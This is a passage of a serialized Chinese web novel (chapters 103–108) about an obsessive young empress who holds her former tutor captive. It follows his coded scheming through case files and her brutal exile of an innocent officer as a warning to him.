那是一双怎样的眼睛啊。 里面没有愤怒,没有怨恨,甚至没有半分波澜。 被这双眼睛注视着,萧青鸾竟没来由地感到一阵心虚。 “我要亲览此次科举舞弊案,以及……靖王谋逆案的所有卷宗。” 顾云舟的声音不大,却字字清晰,掷地有声。 “什么?”萧青鸾彻底愣住了。 她设想过无数种可能。他会要求见苏长青?会索要离开的凭证?还是会要她杀了某个她看重的人来报复? 她甚至做好了他会提出一些匪夷所思、极尽羞辱的要求的准备。 可她万万没想到,他提出的,竟然是这样一个……如此公事公办,如此冠冕堂皇的条件。 她张了张嘴,一时间竟不知道该如何回应。 只听顾云舟继续用那种平淡无波的语调说道:“陛下登基不久,根基未稳。这两桩都是动摇国本的大案,牵连甚广。我不希望有任何冤假错案发生,更不希望有人借此机会排除异己,坏了陛下的仁德名声。” 一番话,说得滴水不漏。 每一个字,每一句话,都是在为她,为这个大炎江山着想。 正气凛然,无懈可击。 可萧青鸾的心,却沉了下去。 她不是那个在落霞谷里什么都不懂的蠢丫头了。这三年,跟在他身边,她学到的东西,足以让她嗅到这番话背后那浓浓的、让她不安的味道。 先生的目的,绝不像他说的这么简单! 这些卷宗里,藏着他安插在朝堂各处的人,藏着他布下的无数暗线和秘密。 让他看了,无异于将一把出鞘的利剑,重新递回到他手里! 可她能拒绝吗? 她不能。 她一抬头,就对上了顾云舟那双平静的眼睛。 他什么都没说,但那眼神分明在告诉她:要么答应,要么,你就看着我死。 这是阳谋。 一个她明知是陷阱,却不得不踩进去的阳谋。 巨大的恐惧再次攫住了她的心脏。她怕,她真的怕了,怕他再次闭上眼,怕他真的就这么死在自己面前。 和失去他相比,一点点潜在的风险,又算得了什么? 良久,萧青鸾紧紧咬着下唇,几乎要咬出血来。她从牙缝里挤出几个字。 “好……朕答应你。” 她看到顾云舟的嘴角,似乎微微动了一下。 一股无名的怒火和委屈涌上心头,她猛地补充道:“但所有卷宗,只能在这忘忧阁里看!一步都不能带出去!” “而且……”她死死地盯着他,像是要找回一点点主动权,“你必须当着我的面,先把这碗粥喝了!” 说完,她再次将那碗已经有些凉了的粥,递到他嘴边。 这一次,顾云舟没有再拒绝。 他微微低下头,镣铐随着他的动作,轻轻地磕在了碗沿上,发出清脆的“叮”。 然后,他张开干裂的嘴唇,就着她的手,将那口粥含了进去。 温热的米粥滑过干涸的喉咙,带来一丝久违的暖意。 那一瞬间,萧青鸾的眼泪再也控制不住,像断了线的珠子一样,吧嗒吧嗒地掉下来,砸在被子上,也砸在了顾云舟的手上。 她喜极而泣,哭得像个得到了糖果的孩子。 而顾云舟,垂下的眼帘,遮住了他眼中一闪而过的光。 没有半分妥协。 只有计划得逞,和对猎物上钩的……。 第一百零四章 一碗粥 一碗粥,撬开的是片刻的缝隙。 而从这道缝隙里涌进来的,不是自由的空气,而是更令人窒息的控制。 顾云舟发现,他给自己挖了个不大不小的坑。 他立了个新规矩:非萧青鸾亲手喂食,不吃。 这招很贱,属于伤敌八百,自损……也八百的骚操作。目的很简单,用自己这张嘴,锁住她这个皇帝的时间。 一个天天忙着给囚犯喂饭的皇帝,能有多少精力处理朝政?时间一长,她不烦死,也得被朝臣们烦死。 可他严重低估了一个疯批的执行力。 萧青鸾不仅没觉得烦,反而甘之如饴,甚至……乐在其中。 每天三次,雷打不动。 大炎女帝,九五之尊,会准时出现在忘忧阁,端着一碗温度刚好的药膳,一口一口地喂他。 那专注的神情,那温柔的动作,不知道的还以为是在伺候自家祖宗。 旁边侍立的总管喜公公,每天都看得心惊肉跳,整个人都麻了。 他活了五十多年,就没见过这么离谱的场面。 这哪是君与臣? 这他娘分明是养了个爹! 而顾云舟,这个“爹”,就那么靠在软榻上,面无表情地接受着投喂。 身体在太医的精心调理和女帝的亲自投喂下,正以极快的速度恢复。但他的眼神,却一天比一天冷。 他像一个局外人,冷眼看着这个痴狂的女人。 看她如何将这份病态的占有,包装成无微不至的关怀。 这种“关怀”,很快就从“吃”蔓延到了所有领域。 “这套湖笔的笔锋太硬,会划伤纸,先生不喜欢。换一套姑苏新贡的羊毫来。” “这床锦被的绣线有些扎手,先生皮肤嫩,睡不安稳。拿去烧了,把内库里那床天蚕丝的拿来。” “今天的菜谁做的?鱼腹里的刺没剔干净!拖出去,杖毙!以后先生的膳食,必须由朕亲尝后,方能端上来!” 一道道命令,从忘忧阁传出。 整个皇宫都跟着这个节奏高速运转。 萧青鸾用一种近乎偏执的细致,掌控着顾云舟身边的一切。 她似乎是想用这种方式,找回前几天在那场绝食博弈中丢掉的肠子。 你不是能耐吗?你不是能用自己的命威胁朕吗? 好,朕让你活。 但你活着的每一口呼吸,看到的每一件东西,感受到的每一点温度,都必须是朕给的。 你的世界里,除了朕,不能有第二个人留下的痕迹。 顾云舟对此毫无反应。 他就像一个提线木偶,任由她摆布。 你要喂,我便吃。你要换,我便用。 就连晚上也是被抱着动弹不得。 那副万念俱灰的顺从模样,让萧青鸾心中升起一种病态的满足感。 她喜欢这种感觉。 就像驯养一头猛虎,虽然拔掉了它的爪牙,但它依旧是百兽之王。而现在,这头猛虎,只吃她亲手递过去的肉。 这种成就感,比批阅十份奏折,比砍一百个脑袋,要来得爽快多了。 终于,第一批卷宗被抬进了忘忧阁。 两大箱,全是关于科举舞弊案的。由凤卫队长赤羽亲自押送,当着顾云舟的面,打开了上面的封条。 赤羽的目光在顾云舟脸上一扫而过,冰冷如刀,看不出任何情绪。 萧青鸾果然信守承诺。 她在顾云舟的软榻不远处,设了一张稍小的案几,搬来了自己的奏折,摆出一副要陪他一同“办公”的架势。 偌大的殿内,只听得见两人翻动纸张的沙沙声。 气氛很诡异。 “苏长青最近倒是干得不错。” 萧青鸾头也不抬,仿佛只是在闲聊家常,“户部清丈天下田亩,差事繁重,他主动请缨,朕已经准了。没个一年半载,怕是回不来了。” 声音轻飘飘的,像一片羽毛。 但话里的分量,却重如泰山。 别想见苏长青了,朕已经把他发配边疆了。 顾云舟的动作顿了一下,随即恢复如常,仿佛根本没听见。 他知道,这是她的试探,也是她的封堵。 她怕他通过苏长青,与外界那些他布下的棋子重新取得联系。 天真。 他顾云舟的网,又岂是区区一个苏长青就能全部串联的? 他没接话,只是专注地看着手里的卷宗。 一页,又一页。 他看得极快,目光如电,似乎只是随意扫过,但每一个名字,每一条罪状,每一份供词,都像烙印一样刻进了脑子里。 萧青鸾一边处理着自己的奏折,一边用余光死死地盯着他。 她想从他的脸上,看出哪怕一丝一毫的失望或愤怒。 但是没有。 什么都没有。 他平静得像一潭死水,让她所有的试探都石沉大海,连个泡都不冒。 这种感觉,让她很不爽。 不知过了多久,顾云舟的手指停在了一份卷宗上。 他将那份卷宗抽了出来,随手放在一边。 然后继续看下一份。 一连几个时辰,他看完了整整一箱卷宗,从中抽出了薄薄的七八份。 他将这几份卷宗整理好,抬起头,看向萧青鸾。 “陛下。” 他的声音因为久未正经说话,还带着一丝沙哑。 萧青鸾立刻放下手中的朱笔,身体微微前倾,像一只随时准备扑食的猫。 “先生有何发现?” “谈不上发现。”顾云舟将最上面那份卷宗推了过去,“此人,张恒,翰林院七品编修。卷宗上说,他与舞弊案主犯陈侍郎是远房表亲,家中搜出银票五百两,便定了他的罪。” 他顿了顿,语气平淡地像在说一件和自己毫不相干的事。 “可卷宗里,并无他与陈侍郎往来的任何实证。至于那五百两银票,是他去年变卖祖产所得,有地契文书为证。” “此案证据不足,定罪过于草率。若重审,或可免一桩冤案,彰显陛下仁德之名。” 一番话,说得公事公办,有理有据。 每一个字,都在为她这个皇帝的“仁德”名声添砖加瓦。 他甚至连看都没看她一眼,说完便低下头,开始整理第二份卷宗,仿佛只是做了一件微不足道的小事。 萧青鸾愣住了。 她接过那份批注好的卷宗,看着上面那熟悉的、瘦金体一般的字迹,和他那句“可彰陛下仁德”,心中五味杂陈。 她设想过他会借机发难,会暗藏机锋,会提出各种让她为难的要求。 可他没有。 他真的……只是在审阅卷宗。 而且,还是以一种她最熟悉的方式,精准、高效、一针见血。 仿佛又回到了两年前,在那个小小的书房里,他也是这样。 一瞬间,她心中的警惕和疑虑,竟真的消散了几分。 或许……先生只是想找点事做? 或许……他真的已经认命了? 这个念头刚一升起,就被她自己掐灭了。 不。 不可能。 他可是顾云舟。 那个能用一张嘴说死十万大军,能把整个天下玩弄于股掌之上的人! 他怎么可能这么轻易认命! 萧青鸾拿起那份卷宗,指尖微微用力。 她看着顾云舟那张恢复了些许血色的侧脸,看着他专注而平静的眼神。 失而复得的喜悦,和猎物暂时的温顺,在她心中疯狂交战。 她知道,这只是开始。 一场新的、没有硝烟的战争。 而这一次,她不会再输。 她缓缓站起身,走到顾云舟身边,拿起已经凉透的茶杯。 “先生辛苦了,茶凉了,朕去给你换一杯热的。” 她的声音,温柔得能滴出水来。 第一百零五章 故人 萧青鸾换来的热茶,顾云舟一口没碰。 他就那么坐着,面无表情地翻着一箱又一箱的卷宗。 萧青鸾就在不远处陪着,批阅她自己的奏折。 但那支朱笔,半天也落不下一个字。她的全部心神,都在顾云舟的每一个细微动作上。 她不信他真的认命了。 这头猛虎,只是暂时收起了獠牙,在等一个能一口咬断她喉咙的机会。 时间就在这种诡异的静默中流逝。 忘忧阁里,静得能听见灰尘落地的声音。 突然,顾云舟翻动书页的手指停了。 他将两份来自不同箱子的卷宗抽了出来,并排放在案几上。一份是“靖王谋逆案”,另一份,则是苏长青离京前正在主理的“户部军需贪腐案”。 “陛下。” 顾云舟终于开口,声音像是生了锈一样。 萧青鸾的身体瞬间绷紧。“先生又有发现?” “算不上发现,只是一个疑点。”顾云舟指着两份卷宗,语气平淡得像在说今天天气不错,“靖王谋逆,所用军械数量庞大,来源一直成谜。而户部这桩贪腐案,恰好有一批数目对得上的军械,被做成了‘损耗’的假账,不知所踪。” 他抬起眼,第一次正视萧青鸾,目光里没有愤怒和哀求,只有公事公办的冷静。 “两案的账目手法,有七成相似。若真是同一伙人所为,那便不是简单的贪腐,而是通敌叛国。此事,关乎军备安危,须得立刻与苏长青当面对质,核查账目细节,否则,国之根基,危矣。” 她死死盯着顾云舟。 她知道,这他吗绝对是个借口! 他就是想见苏长青!想把他布在宫外的棋子,重新串联起来! 可这个理由,她偏偏无法拒绝。 拒绝,就等于告诉满朝文武,她萧青鸾为了一个男人,连动摇国本的大案都可以置之不理。 她这个皇帝的位子,还想不想坐了? 好一招阳谋。 用她最在乎的皇权,来逼她点头。 不愧是你,顾云舟。 萧青鸾的指甲深深嵌入掌心,脸上却缓缓露出一丝赞许的微笑。 “先生果然心系社稷,是朕疏忽了。” 她站起身,姿态优雅地踱步,“既然事关重大,自然要查。不过苏长青公务繁忙,就不必让他来回奔波了。” 她顿了顿,每一个字都带着不容置喙的威严。 “传朕旨意,让苏长青即刻入宫。会面地点,就在这忘忧阁正殿。” “朕,会亲临旁听。” “另外,玄鸟办事细致,也让他一同列席,以防有任何疏漏。” 话音刚落,一个鬼魅般的身影无声无息地浮现,正是玄鸟。 【OS:好家伙,现场直播还不够,连纪委都请来了?】 顾云舟心里吐槽,脸上却波澜不惊,只是淡淡地点了点头:“陛下思虑周全。” 半个时辰后,苏长青来了。 当他踏入这座金囚笼,看到那个曾经意气风发、指点江山的恩师,如今形容枯槁、手腕上还戴着镣铐时,他的心脏像是被一只无形的大手狠狠攥住,无法呼吸。 但他不敢表露分毫。 他只是躬身,行礼,声音沉稳得听不出任何情绪。 “臣,苏长青,参见陛下,见过……先生。” 那一声“先生”,他说得极为艰难。 “免礼,坐。”萧青鸾指了指顾云舟对面的一个锦凳,自己则高坐于主位之上,活像一个监考员。 一场在女帝和顶级特务头子监视下的“三方会谈”,正式开始。 “……靖王府支出的第三笔款项,三万七千两白银,名目是修缮河堤,但工部并无此项记录。” “……户部军需库的记录显示,同一时期,有一批长枪箭矢被列为‘潮湿损耗’,其价值,约在三万五千两上下。” “时间对得上,但数目差了两千两。” 两人你一言我一语,说的全是枯燥至极的数字和官场术语。 那些繁琐的条目、陌生的名字、绕口的流程,听得萧青鸾都有些昏昏欲睡。 她偷偷瞥了一眼角落里的玄鸟,对方像一尊石雕,纹丝不动。 难道……真的是我多心了? 他们真的只是在对账? 就在萧青鸾的警惕心降到最低点时,顾云舟忽然停下了话头。 他端起手边那杯已经凉透的茶,却没有喝,只是看着杯中沉浮的茶叶,轻轻叹了口气。 他的眼神飘向远方,仿佛穿透了这宫殿的墙壁,看到了遥远的过去。 “长青啊,还记得我们当初在云梦泽治理水患时,我跟你提过的‘三峡分流’之法吗?” 他的声音里,带着一丝恰到好处的疲惫和追忆。 苏长青的心,猛地一凛! 来了! “三峡分流”,是他们早就约定好的暗号,代表着分三步走的惊天救援计划! 他抬起头,脸上适时地流露出一丝对往昔的怀念,恭敬地答道:“学生怎敢忘记。先生之法,鬼斧神工,至今思之,仍觉受益匪浅。” 顾云舟摇了摇头,自嘲一笑:“鬼斧神工谈不上,如今看来,漏洞还是有的。” 他放下茶杯,手指在桌上轻轻一点,仿佛点在了苏长青的心尖上。 “那第三道峡的基石,还是有些不稳啊。地势险要,水流湍急,寻常石料,怕是顶不住。” 第三道峡!指的是最终的武力摊牌!基石不稳! 顾云舟抬眼,目光看似随意地扫过苏长青,继续用那追忆往昔的口吻说道: “若想万无一失,须得用‘西山之石’来加固才行。那里的石头,质地最是坚硬,也最是可靠。” 西山之石! 告老还乡,手握旧部兵符,隐居在京城西山的卫将军! 一瞬间,所有的信息如电流般涌入苏长青的脑海。 计划有变! 需要动用最后的底牌! 需要卫将军出手! 苏长青的后背已经渗出了一层冷汗,但他脸上依旧是那副恭敬聆听教诲的模样。 他重重地点了点头,语气里充满了学生对老师的信服。 “先生说的是。基石不稳,则全局皆溃。是学生思虑不周了。” 他站起身,对着顾云舟深深一揖。 “学生回去后,会立刻重新评估‘用料’,定不负先生所托。” “嗯。”顾云舟应了一声,便垂下眼帘,重新拿起一份卷宗。 萧青鸾看着眼前这师生情深的一幕,眉头微蹙。 她总觉得哪里不对劲。 可他们说的每一个字,都那么正常,那么合情合理。 治理水患,基石,用料…… 全是云梦泽的旧事。 能有什么问题? 她看向玄鸟,后者对她几不可见地摇了摇头。 没有破绽。 “既然账目已明,苏爱卿就退下吧。”萧青鸾挥了挥手,心中烦躁。 “臣,告退。” 苏长青再次行礼,转身,一步一步,沉稳地走出了这座华丽的囚笼。 直到殿门在他身后缓缓关闭,隔绝了审视的目光,他才敢将那双早已攥得发白的拳头,死死地按在自己狂跳的心口上。 最重要的棋,已经落下。 接下来,该轮到他们这些做学生的了。 (晚上还有一张哈,别错过哦(′-ω-`),感谢大家的礼物和喜欢,谢谢) 第一百零六章 敲山震虎 苏长青的身影消失在殿门外,那扇沉重的门缓缓合拢,发出的“吱呀”声。 殿内,瞬间陷入了死寂。 萧青鸾端坐在主位上,脸上那副百无聊赖的表情早已消失得无影无踪。她面沉如水,指尖无意识地敲击着扶手,一下,又一下,像是在敲打着某个看不见的敌人。 “玄鸟。”她开口,声音不大,却透着一股冰冷的质感。 角落里的人影无声无息地滑到殿中,单膝跪地:“属下在。” “你觉得,他们有问题吗?”萧青鸾的目光,直直地看向玄鸟。 玄鸟的头垂得更低了,声音听不出任何情绪:“回陛下,苏大人与先生的对话,从靖王案到户部军需,每一笔账目,每一个流程,皆有卷宗可查,毫无破绽。” “毫无破绽?”萧青鸾冷笑一声,这四个字本身,就是最大的破绽。 以先生的手段,若真想做什么,又怎么会留下破绽? 玄鸟仿佛知道她想听什么,顿了顿,继续用那毫无起伏的语调补充道:“但,有两处异常。” 萧青鸾的身体微微前倾,眼里的寒光瞬间凝聚。 “其一,先生在追忆云梦泽旧事,提到‘西山之石’四字时,端着茶杯的右手,五指收紧了半分,指节微微泛白。” “其二,苏大人在听到这四字后,呼吸有一次几乎无法察觉的停顿,约莫半息。随即恢复如常。” 玄鸟说完,便再次沉默,像一块真正的石头。 整个大殿安静得能听到烛火燃烧时发出的噼啪声。 一个是用力了半分的手指。 一个是停顿了半息的呼吸。 这算证据吗? 拿到任何地方去说,都只会被当成笑话。 可萧青鸾却笑了。 那笑容里没有半分温度,只有一种猎人发现猎物踪迹时的兴奋。 够了。 这就够了。 “西山之石……”她轻轻念叨着这四个字,“西山……卫将军……” 她不需要证据。 她只需要一个怀疑的理由。 “去查。”她对玄鸟下令,“西山那位告老还乡的卫将军。朕要知道他最近见过什么人,吃过什么饭,他家里养的狗,今天叫了几声。” “遵命。” 玄鸟的身影,如同一缕青烟,悄无声息地融入了阴影之中,消失不见。 玄鸟卫的效率高得可怕。 不过半日,一封薄薄的密报就已摆在了萧青鸾的御案上。 卫将军确实深居简出,每日除了打理花草,便是闭门读些道经,活得像个真正的方外之人,毫无异动。 但密报的最后,却提了一件微不足道的小事。 将军最疼爱的孙子,卫风,年方十八,正在禁军中任职。三日前,在与同僚的一次日常切磋中,下手重了些,将对方打断了两根肋骨。 此事早已上报军法处,按军中律例,不过是罚俸数月,鞭笞二十的小惩。 萧青鸾的手指,轻轻点在了“卫风”这个名字上。 她的嘴角,勾起一抹残忍而快意的弧度。 先生啊先生,你以为你把棋子藏得很好吗? 可你忘了,这天下,都是朕的棋盘。 朕,想掀哪张桌子,就掀哪张桌子。 次日,早朝。 气氛庄严肃穆,百官按部就班地奏报着各地政务。 一切都显得那么正常。 直到一名军法处的官员站出来,正准备将卫风伤人一案作为寻常小事,快速定论时。 “等等。” 龙椅之上,萧青鸾突然开口。 清冷的声音,瞬间让整个太和殿的温度都降了几分。 所有人都停下了动作,屏息凝神地望向那个高高在上的少女帝王。 “把卷宗,呈上来。” 内侍连忙小跑着将那份薄薄的卷宗呈上。 萧青鸾看都没看,直接将卷宗扔在地上,发出一声清脆的响声,像一巴掌扇在所有人的脸上。 “禁军,乃天子亲卫,护卫神京,保卫君王!何等荣耀,何等重任!” 她的声音陡然拔高,带着怒火。 “可现在,竟然有人在禁军之中,仗着祖辈功勋,骄纵跋扈,视军纪如无物,视同袍如草芥!这与市井流氓斗殴,有何区别?!” 满朝文武,噤若寒蝉。 谁都没想到,一件芝麻绿豆大的小事,竟会引得天子如此雷霆震怒。 几个与卫家交好的老臣额头已经开始冒汗,他们隐隐觉得,事情不对劲。 “陛下息怒,卫风年少轻狂,一时失手,并非有意……”一名老将军硬着头皮出列求情。 “年少轻狂?”萧青鸾冷眼扫过他,那眼神,像在看一个死人,“他十八了,不是三岁小儿!在军营里失手打断同袍的骨头,若是在战场上,他是不是就要‘失手’砍了袍泽的脑袋?!” “朕的军队里,不需要这种废物!” 她猛地从龙椅上站起,居高临下,环视着殿下战战兢兢的百官,一字一句。 “传朕旨意!” “禁军校尉卫风,仗势欺人,目无军纪,有辱将门清誉!” “即刻削去其所有军职!” “废其武功!” “流放三千里外瘴疠之地,永!世!不!得!还!京!” 轰! 最后几个字,如同九天惊雷,在死寂的太和殿内轰然炸响。 满朝皆寒! 所有人都懵了。 废去武功?流放三千里?永世不得还京? 这……这哪里是惩罚,这分明是要把一个将门之后,活生生往死里整啊! 那个热血方刚的少年,这一生,都彻底毁了! “陛下!不可啊!” “陛下三思!此等重罚,前所未有啊!” 卫家的几个故交再也忍不住,噗通一声跪倒在地,涕泪横流。 “前所未有?”萧青鸾脸上的表情没有丝毫变化,只有一片漠然的冰冷,“那从今日起,便有了。” 她缓缓坐下,目光仿佛穿透了太和殿的重重殿宇,望向了皇宫深处。 “谁再求情,视同此獠同党,一并论处。” 一句话,堵死了所有的嘴。 整个大殿,鸦雀无声,只剩下那几个老臣绝望的抽泣声。 所有人都明白了。 这一剑,根本不是冲着那个倒霉的卫风去的。 这一剑,斩的是西山卫家的根。 这一剑,更是刺给某个人看的。 这,是一场无声的警告。 一场用一个年轻人一生的前途和性命,来书写的、血淋淋的警告。 先生,你看到了吗? 你的棋子,朕,随手就能碾碎。 而你,又能如何? (谢谢大家的支持和礼物,四更奉上_(:D)∠)_) 第一百零七章 代价 忘忧阁里的名贵花草,又到了修剪的时候。 喜公公捏着一把小巧的金剪刀,正小心翼翼地对付一株牡丹,嘴里也没闲着。 “先生,您是不知道,今儿个京城里又出了件天大的新鲜事。” 他一边咔嚓剪掉一片多余的叶子,神神秘秘的,活像茶馆里说书的开场。 顾云舟靠在窗边的软榻上,手里捧着一卷前朝的野史,眼皮都没抬一下。 “哦?”他淡淡地应了一声,翻过一页书。 喜公公见他有回应,话匣子彻底打开了。 “就是那个卫将军家的小孙子,叫卫风的那个,在禁军里当差。啧啧,那叫一个惨啊。” “就因为跟同僚切磋,手重了点,打断了人家两根骨头。本来军法处都定下来了,罚点钱,挨几鞭子就完事了。谁能想到,这事儿竟捅到陛下那儿去了!” “陛下当庭震怒,说这是骄纵跋扈,目无军纪。当场就下了旨意……” 喜公公顿了顿,仿佛在回味那份圣旨的恐怖,声音都带上了颤音。 “削去军职,废掉一身武功,流放三千里!永世不得还京!” 咔嚓。 金剪刀又剪下了一片叶子。 顾云舟翻书的手,在那一瞬间停滞了万分之一秒,随即又若无其事地翻了过去。 喜公公还在絮絮叨叨。 “满朝文武都吓傻了,好几个老将军跪下求情,哭得那叫一个惨。可陛下眼都没眨一下,还说,谁再求情,同罪论处!这一下,谁还敢说话啊。” “可怜那个卫家小将军,听说才十八岁,生得人高马大,英武不凡。这下可好,武功一废,跟个废人有什么区别。再流放到那鸟不拉屎的瘴疠之地,怕是活不过三年啊……” 喜公公长吁短叹,满脸的“于心不忍”,偷偷用眼角余光瞥着顾云舟。 顾云舟终于放下了书卷。 他只是平静地看着窗外那株被修剪得过分整齐的牡丹,轻声开口。 “花,剪得不错。” 喜公公一愣,手里的剪刀差点掉在地上。 他没料到顾云舟会是这个反应。不该是震惊吗?不该是愤怒吗?怎么就……夸起花来了? 顾云舟的目光从花上移开,落在了喜公公那张写满揣测的脸上,嘴角甚至还勾起了一抹淡淡的笑意。 “有劳公公了。” 那笑容温和依旧,却让喜公公后背瞬间窜起一股凉气。 “不……不劳烦,都是奴婢该做的。”喜公公连忙躬身,再也不敢多说一个字,收拾起工具,灰溜溜地退了出去。 偌大的殿内,又只剩下顾云舟一人。 他重新拿起书,却没有再看。 他只是静静地坐着,手指无意识地摩挲着书页的边缘。 卫风。 西山卫将军最疼爱的孙子。 他计划中,用来撬动西山那块定海神针的楔子。 他甚至还没来得及落子,萧青鸾就已经先一步,把他的棋子,连带着整张桌角,都给掀了。 她在用一个年轻人的前途和性命,清清楚楚地告诉他: 我知道你在想什么。 我知道你想联系谁。 我看得到你的一切小动作。 我能轻易毁掉你珍视的任何东西,而你,被关在这里,什么都做不了。 这已经不是警告了。 这是示威。 一场用鲜血和绝望书写的,来自一个疯子的,甜蜜示威。 顾云舟缓缓闭上眼睛,将胸中翻腾的愤怒,一点点压回深不见底的心渊。 愤怒,是最没用的东西。 夜。 忘忧阁的烛火,被修剪得明亮而不刺眼。 萧青鸾来了。 她没有穿那身威严的龙袍,而是一身寻常的淡紫色宫装,长发简单地挽起,脸上带着浅浅的笑意,手里还提着一个食盒。 那模样,不像一个帝王,倒像一个来探望情郎的邻家少女。 如果忽略掉她身后那两个如同影子般寸步不离的凤卫的话。 “先生,还在看书?” 她轻车熟路地走到顾云舟身边,自然地将食盒放在桌上,打开盖子,一股浓郁的鸡汤香味瞬间弥漫开来。 “朕听御厨说,新得了一只百年的老山参,亲自看着他们给你炖了汤,你尝尝,补补身子。” 她一边说,一边盛了一碗汤,推到顾云舟面前。汤色金黄,参香四溢。 顾云舟缓缓放下手中的书卷,抬头看向她。 烛光下,她的脸庞娇美动人,眼眸里盛满了温柔的笑意。 “有劳陛下了。”顾云舟的声音很平静。 萧青鸾像是没听出他语气里的疏离,依旧笑盈盈地坐到他对面,絮絮叨叨地开口,像是分享一天趣事的妻子。 “今天朝堂上那些老臣,又为了些鸡毛蒜皮的小事吵个没完,真是烦人。” 她托着腮,微微嘟起嘴,带着一丝少女的娇憨。 “对了,朕还处置了一个骄横跋扈的将门子弟,朝中还有老臣给那小子求情,说朕太过严苛了。” 她眨了眨眼睛,目光落在顾云舟脸上,带着一丝寻求认同的期待。 “先生觉得,朕做得对吗?” 来了。 顾云舟心中冷笑。 这才是她今晚来的真正目的。 她享受完施虐的快感,还要跑到受害者面前,炫耀自己的战利品,欣赏他痛苦又无能为力的表情。 何其恶毒。 何其……可悲。 顾云舟没有回答她的问题。 他端起那碗汤,用汤匙轻轻搅动着,看着人参片在金黄的汤中沉浮。 然后,他抬起头,直视着萧青鸾的眼睛。 那双曾经清澈如山泉的眼眸,如今深不见底,盛满了权力和偏执的疯狂。 “陛下如今行事,愈发有雷霆之威了。” 他的声音不带一丝情绪,像是在陈述一个客观事实。 萧青鸾脸上的笑容更深了,这是她最爱听的夸奖。 然而,顾云舟的下一句话,却让空气瞬间凝固。 “只是,天子一怒,伏尸百万,流血千里。不知那位卫家小将,是否也能明白,他今日之祸,不过是因为,他成了陛下与臣博弈时,被随意舍弃的一颗棋子。” 他一字一句,清晰无比。 他将那层温情脉脉的遮羞布,狠狠地扯了下来,露出了下面血淋淋的真相。 萧青鸾脸上的笑容,终于僵住了。 她眼中的温柔和笑意,如同退潮般迅速褪去,取而代之的是一片冰冷。 但仅仅一瞬间,她又笑了起来。 那笑容,比刚才更加灿烂,也更加……诡异。 她为自己也盛了一碗汤,然后将顾云舟面前的那碗,又往他手边推了推,动作轻柔,声音也柔得能滴出水来。 “先生说笑了。” “他不是棋子。” 她抬起眼,目光灼灼地盯着顾云舟,一字一顿,用最温柔的语气,说着最残忍的话。 “他只是一块挡在朕走向先生路上的,小石子。” “为了能安安稳稳地走到先生身边,朕不介意,亲手把路上所有碍眼的石子,全都踢开。不管是大的,还是小的。” “先生,你说对吗?” 她笑靥如花,眼底却没有一丝笑意,只有一片幽深的、令人不寒而栗的黑暗。 四目相对。 空气中仿佛有无形的刀光剑影在激烈碰撞,发出滋滋的声响。 顾云舟知道,这场战争,已经没有了规则,也没有了底线。 他每动一个念头,每落一步棋,都可能伴随着一个无辜者的鲜血。 这条路,没有退路。 也容不得半分,所谓的仁慈。 他端起那碗汤,在萧青鸾充满期待和挑衅的目光中,缓缓送到嘴边。 汤,很香。 也很烫。 顾云舟看着她,忽然笑了。 那笑容很淡,却让萧青鸾的心猛地一跳。 “汤,很好。” 他将碗放下,却没有喝。 “只是,陛下。你有没有想过。” 他的声音压得很低,带着一种奇异的,仿佛来自深渊的回响。 “如果路上的石子太多,踢不过来,又该怎么办呢?” 第一百零八章 棋手 萧青鸾走了。 带着胜利者心满意足的微笑,和那碗未曾动过的参汤。 殿门在身后合拢,发出沉闷的声响,隔绝了内外。 顾云舟依旧坐在原处,一动不动。 烛火摇曳,将他的影子打在墙壁上拉得很大。 桌上那碗金黄的参汤,已经彻底凉了,浮着一层凝固的油脂,散发着一股腻人的腥气。 他没有看那碗汤。 他的脑海里,一遍又一遍,回响着喜公公白天颤抖的声音。 “……卫小将军的肩胛骨,被那廷杖活生生打碎了……” “……血,流了一地,拖出去的时候,人已经没气了……” “……卫老将军在西山,怕是还不知道,他最疼的孙儿,就这么……废了……” 棋子。 石子。 顾云舟缓缓抬起手,看着腕上那副镣铐。 冰冷,沉重。 镣铐上雕刻着繁复的龙凤纹路,在烛光下闪着华丽又刺眼的光。 他忽然明白了。 他所有的计划,所有的后手,所有寄望于外部力量的破局之法,从一开始就是个笑话。 每多一个苏长青,就会有一个周信被灭门。 每多一个卫将军,就会有一个卫风被废黜。 她是在用最残忍的方式告诉他,这个天下,就是她的棋盘。而所有与他有关的人,都会成为她拿来威胁他的人质。 她爱他。 所以,所有试图帮他的人,都得死。 但那点愧疚,很快就被恨意所取代。 恨她。 也恨,那个把她变成这样的自己。 呼。 他俯身,轻轻吹灭了桌上的烛火。 大殿瞬间陷入了无边的黑暗。 黑暗中,顾云舟的嘴角,慢慢地,慢慢地,勾起了一抹弧度。 既然棋盘是你的。 那我就……砸了它。 …… 第二天,天光大亮。 喜公公端着洗漱用具,提心吊胆地推开了殿门。 他几乎一夜没睡。 昨夜那场无声的交锋,让他这个旁观者都心惊肉跳。 然而,眼前的景象让他愣住了。 顾云舟已经起身,穿着一身干净的白色中衣,正站在窗前,负手而立,静静地看着外面的天空。 听到开门声,他转过身来。 脸上,甚至还带着一丝若有若无的,浅淡的笑意。 “喜公公,早。” 他的声音很平静,温和得像是三月的春风。 喜公公手里的铜盆“哐当”一声差点掉在地上。 他猛地一哆嗦,后背的冷汗瞬间就冒出来了。 不对劲。 太不对劲了。 这绝不是该有的反应。 “奴……奴才给先生请安。”喜公公结结巴巴地开口,声音都在发颤。 “有劳公公了。” 顾云舟笑了笑,竟主动走过来,自己拿起毛巾擦了擦脸。 他的一举一动,从容不迫,优雅依旧。 可喜公公却觉得一股寒气从脚底板直冲天灵盖。 完了。 这位爷,怕不是……疯了。 洗漱完毕,顾云舟坐在桌前,等着宫人布菜。 他没有再像前几日那样沉默,反而主动开了口。 “今天天气不错。” “是……是……”喜公公弓着身子,连头都不敢抬。 “陛下昨夜没睡好吗?让她多注意身体。”顾云舟拿起筷子,夹了一块水晶糕,慢条斯理地吃着。 “奴才会……会传达到……” 喜公公快哭了。 这哪是关心,这分明是宣战。 吃完早饭,顾云舟擦了擦嘴,忽然又开口了。 “公公,我在这里也闲得无聊。不如,你帮我找些书卷来打发时间吧。” 喜公公心里咯噔一下,紧张地问:“不……不知先生想看些什么?” 经史子集?兵法谋略? 这些东西,怕是送进来,自己脑袋就得搬家。 顾云舟像是看穿了他的心思,轻笑一声。 “不必紧张。” “就找些陈年的旧档吧。” “比如……宫中各司的用度开销,人员调派任免之类的。越旧越好,十几二十年前的都行。” 他端起茶杯,轻轻吹了吹热气,补充道:“这些东西,不涉朝政,只关风月。想必,陛下也不会介意的。” 喜公公愣住了。 他完全搞不懂,这位帝师到底想干什么。 看这些陈芝麻烂谷子的东西,有什么用? 但他不敢问,更不敢不答应。 